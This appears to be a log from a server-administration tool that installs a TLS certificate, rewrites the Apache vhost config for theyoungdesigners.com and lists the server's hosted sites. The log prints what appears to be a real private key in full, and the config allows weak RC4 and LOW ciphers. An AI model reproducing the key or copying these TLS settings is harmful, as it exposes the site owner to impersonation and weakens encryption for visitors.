KXJ9aIvZadNNnA6OhqsQGr48TQKBgQC109VdyAZCzBK28G4YQQtg0ISHNwbZt7WI
YjHyx8A7Hytcx+FokS6eoGraHWNyclHeau3ESKsJobCPxHCf+3okxrofAMMF23fU
d3Ta12kMkYQJNue/Qdz5YP2QIvpCahIiVZjGR0atxPuUpwg1uzpqSw6z+SW6yAOn
HyNeXwLTqwKBgC38KBi02bMYCjvyTj7Fask+4fJCY65r5+fFQOSwI6AN0GPD9MxW
7ArufCa9vnG7kc/SdY8GHWYg59TFs5hO8Cmz5vYvq+46gXKbUyzb5QFqDbL5ApGk
wkve/uBgYcR1aQZqWWXsSUZzSjJ5uao+27aK2SlDnzWMDKAXxUQa7VOxAoGBAIaM
aqcrDPcA7BhTciSgfTr3Ehq8rWUOfFaf0zZEegtF1WCiyDoItObM7kTY2m4mCk77
8VX+MBLAg1bfljfMb2YnaDLo7We4L8QZYW9PV3zlcT8gUf1FT696BihSub3Ln/+o
N5UByVttGH233GtmUKO3RvoGs9SzjYBtmk6LIBxhAoGBAKf+5RBkPVHSks2QRuTd
6iBP5vEIy/Ty4TIZ2eYxXzj050/rqR44A+CeYZOc9eDGSKXXziL/oobVNoVudhqD
VVr4D2g3aHQqrcTunBQ//MhywlZ0D9Hl8A7PDsiiN5Fsqh6BOB4S6leoVlwNmu7q
I2gWaJ+R0UObV+MqjquXwNev
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-01-26 06:00:14: 

chmod 755 /tmp/pkp172101; /tmp/pkp172101; rm /tmp/pkp172101

2026-01-26 06:00:14: 


dir=/etc/ssl/certs


2026-01-26 06:00:14: 

PUT: /tmp/pkp975484

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-01-26 06:00:14: 

chmod 755 /tmp/pkp975484; /tmp/pkp975484; rm /tmp/pkp975484

2026-01-26 06:00:14: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf 49

<VirtualHost *:80>
    ServerName	theyoungdesigners.com
    ServerAlias	www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/theyoungdesigners_com/public
    <Directory /var/www/theyoungdesigners_com>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/com_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/com_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	theyoungdesigners.com
    ServerAlias	www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt
    DocumentRoot	/var/www/theyoungdesigners_com/public
    <Directory /var/www/theyoungdesigners_com>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/com_secure_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/com_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-01-26 06:00:14: 

PUT: /tmp/pkp498933

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=theyoungdesigners_www_com.conf
TARGET=/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	theyoungdesigners.com
    ServerAlias	www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/theyoungdesigners_com/public
    <Directory /var/www/theyoungdesigners_com>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/com_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/com_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	theyoungdesigners.com
    ServerAlias	www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt
    DocumentRoot	/var/www/theyoungdesigners_com/public
    <Directory /var/www/theyoungdesigners_com>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/com_secure_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/com_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/theyoungdesigners_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf)= /etc/apache2//etc/apache2/sites-enabled/theyoungdesigners_www_com.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/theyoungdesigners_www_com.conf= 1'
fi


2026-01-26 06:00:14: 

chmod 755 /tmp/pkp498933; /tmp/pkp498933; rm /tmp/pkp498933

2026-01-26 06:00:14: 




2026-01-26 06:00:14: 

PUT: /tmp/pkp247679

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-01-26 06:00:14: 

chmod 755 /tmp/pkp247679; /tmp/pkp247679; rm /tmp/pkp247679

2026-01-26 06:00:15: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-26 06:00:15: Establishing a connection
2026-01-26 06:00:15: 

PUT: /tmp/pkp397495

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-26 06:00:15: 

chmod 755 /tmp/pkp397495; /tmp/pkp397495; rm /tmp/pkp397495

2026-01-26 06:00:15: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-26 06:00:15: 

PUT: /tmp/pkp334118

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-26 06:00:15: 

chmod 755 /tmp/pkp334118; /tmp/pkp334118; rm /tmp/pkp334118

2026-01-26 06:00:15: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf	1481

<VirtualHost *:80>
    ServerName	theyoungdesigners.com
    ServerAlias	www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/theyoungdesigners_com/public
    <Directory /var/www/theyoungdesigners_com>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/com_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/com_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	theyoungdesigners.com
    ServerAlias	www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt
    DocumentRoot	/var/www/theyoungdesigners_com/public
    <Directory /var/www/theyoungdesigners_com>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/com_secure_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/com_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-01-26 06:00:15: 

PUT: /tmp/pkp979039

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-26 06:00:15: 

chmod 755 /tmp/pkp979039; /tmp/pkp979039; rm /tmp/pkp979039

2026-01-26 06:00:15: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt	5413
fb:7b:9a:5f:97:af:a9:1d:37:2c:87:69:c7:f5:d9:30

-----BEGIN CERTIFICATE-----
MIIFKjCCBBKgAwIBAgISBUMyc49Uin+QnnOiARL6pqNJMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTI2MDUwMTQzWhcNMjYwNDI2MDUwMTQyWjAgMR4wHAYDVQQD
ExV0aGV5b3VuZ2Rlc2lnbmVycy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQCS+W3Q4rj78x9d1VQIKUAhEAi958gwQR019glNnQ0sxALSJRl6EYyW
lLwnCRrNHYuI8nJu8eJGMDdWwTOxpKuhxo6YGPj605csn5aP3OdQ7Fc2AqQ9j3ZU
DTpY1gwAyxyJShWz1AnVkpdZDLbRPQ654G+oqWILP4y1nTFkFX3HjIT9meFWyuR5
nK4wclw7zKh+AtZfosNOgrnLuH1Dv2Fj+8c/SEXWJT0jWfnP7kojEr+iBPzFeFZT
Y7wYRGofqeO8B5TKAoyPQScxJLm7XWPx204udAOu3Xnujcf7N6h8GqM0SmRSz7w3
Zctgt66NixAKnk4BkvyKkt9rAu+0X75vAgMBAAGjggJJMIICRTAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFA4hdFLzT2egbShJGofH8ilp5OChMB8GA1UdIwQYMBaAFOer
nw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wOwYDVR0RBDQwMoIVdGhleW91bmdkZXNp
Z25lcnMuY29tghl3d3cudGhleW91bmdkZXNpZ25lcnMuY29tMBMGA1UdIAQMMAow
CAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5v
cmcvNzQuY3JsMIIBDQYKKwYBBAHWeQIEAgSB/gSB+wD5AHcASZybad4dfOz8Nt7N
h2SmuFuvCoeAGdFVUvvp6ynd+MMAAAGb+ONwWQAABAMASDBGAiEAuxRtw7D+/mxF
/T7zYcpOjKygUmETHNz2mbCIsf4Y+bQCIQDl0f54ImzXbhibcwQLyeBNJmOokKy3
LwXhBcMlM5tMkAB+AHF+lfPCOIptseOEST0x4VqpYgh2LUIA4AUM0Ge1pmHiAAAB
m/jjcPAACAAABQAH0FraBAMARzBFAiEAqRykVvHjTIQWB0IN3ChCnd5JdbHjR+Er
BhKAp/AeXjoCICrZiFNFdJNOSk7+6hfIsOrsj8+742dFtJXwZSYMMuaJMA0GCSqG
SIb3DQEBCwUAA4IBAQBtkFuLaYQi04dYsFvVdcwMhZP6w20j0eUdqpGg5mKTClqR
N8ik+GvhqKacqQVUBygu3SoWp+LXjltMERLaw7GT44B4dfXCRV3v7UpB9tXL/8eZ
l4qQ44co+HnOjXnJYH8Lg8Li9iCXVz5m4+Rwq7hz6FERv1AnZWS/ZEhgB8QkoyQD
fPRuE4CqZkeuKcmJhVMR7pol46pHw+2JNGhnW2t7LfBPvPi+Q+VPiL5mKXMDxHsh
/va9eW34iTbCOyLsbxPmyMwjEBGkPzSKb5c6WhcmDNilOy2tDErMD0N4Krk6rIxp
A8ta98Pw0GY6LC5CEQlQKHZxygn+ErvGD2XxS2eQ
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCS+W3Q4rj78x9d
1VQIKUAhEAi958gwQR019glNnQ0sxALSJRl6EYyWlLwnCRrNHYuI8nJu8eJGMDdW
wTOxpKuhxo6YGPj605csn5aP3OdQ7Fc2AqQ9j3ZUDTpY1gwAyxyJShWz1AnVkpdZ
DLbRPQ654G+oqWILP4y1nTFkFX3HjIT9meFWyuR5nK4wclw7zKh+AtZfosNOgrnL
uH1Dv2Fj+8c/SEXWJT0jWfnP7kojEr+iBPzFeFZTY7wYRGofqeO8B5TKAoyPQScx
JLm7XWPx204udAOu3Xnujcf7N6h8GqM0SmRSz7w3Zctgt66NixAKnk4BkvyKkt9r
Au+0X75vAgMBAAECggEAAqkEZFTeOLZeMHk+g8XfXhCwuz6m907p1hT8dtX0h06K
8Ic6F5wH2Z6/IxYGmhcd4fB3wsa/UIN8MF1NS00OgoLjLNgFJ/NfMzA2SYLAb6hR
v4AET7rwGEhfAsYyL9nGcIX/QmvuKVo+r3oCyxm+mrSKUyIfcT/2t4jRoNPEwYyk
UV7RdcO6AhqonO1gFYKYwDxFAAL75lNdvKtC8fyF7lZ6Ky0QD6l80p5Baryc/02w
M/wzNnBs5riJiEx4jgBieeMg5YGH61f7oRA2liHkWow5hRdJiQcXjz9r5Y2kJ08W
0TSOwZ+ktjiR15rzTbZQQnbvkM9Wai8itc5tIBb/nQKBgQDO7eWCFz6lQol03YQh
0DdhjL9DpPtxr0EaCQLqts/7PoOCFIpgP/04XO8lpjwJLP2ZSAWmoTqkoxWLYc7j
bZ9Do8O13m3JsWMoOymOgLNifP8IoB+vsZpXoSEa6nPQ4Krr4VdmisdOwe1mFtp0
KXJ9aIvZadNNnA6OhqsQGr48TQKBgQC109VdyAZCzBK28G4YQQtg0ISHNwbZt7WI
YjHyx8A7Hytcx+FokS6eoGraHWNyclHeau3ESKsJobCPxHCf+3okxrofAMMF23fU
d3Ta12kMkYQJNue/Qdz5YP2QIvpCahIiVZjGR0atxPuUpwg1uzpqSw6z+SW6yAOn
HyNeXwLTqwKBgC38KBi02bMYCjvyTj7Fask+4fJCY65r5+fFQOSwI6AN0GPD9MxW
7ArufCa9vnG7kc/SdY8GHWYg59TFs5hO8Cmz5vYvq+46gXKbUyzb5QFqDbL5ApGk
wkve/uBgYcR1aQZqWWXsSUZzSjJ5uao+27aK2SlDnzWMDKAXxUQa7VOxAoGBAIaM
aqcrDPcA7BhTciSgfTr3Ehq8rWUOfFaf0zZEegtF1WCiyDoItObM7kTY2m4mCk77
8VX+MBLAg1bfljfMb2YnaDLo7We4L8QZYW9PV3zlcT8gUf1FT696BihSub3Ln/+o
N5UByVttGH233GtmUKO3RvoGs9SzjYBtmk6LIBxhAoGBAKf+5RBkPVHSks2QRuTd
6iBP5vEIy/Ty4TIZ2eYxXzj050/rqR44A+CeYZOc9eDGSKXXziL/oobVNoVudhqD
VVr4D2g3aHQqrcTunBQ//MhywlZ0D9Hl8A7PDsiiN5Fsqh6BOB4S6leoVlwNmu7q
I2gWaJ+R0UObV+MqjquXwNev
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
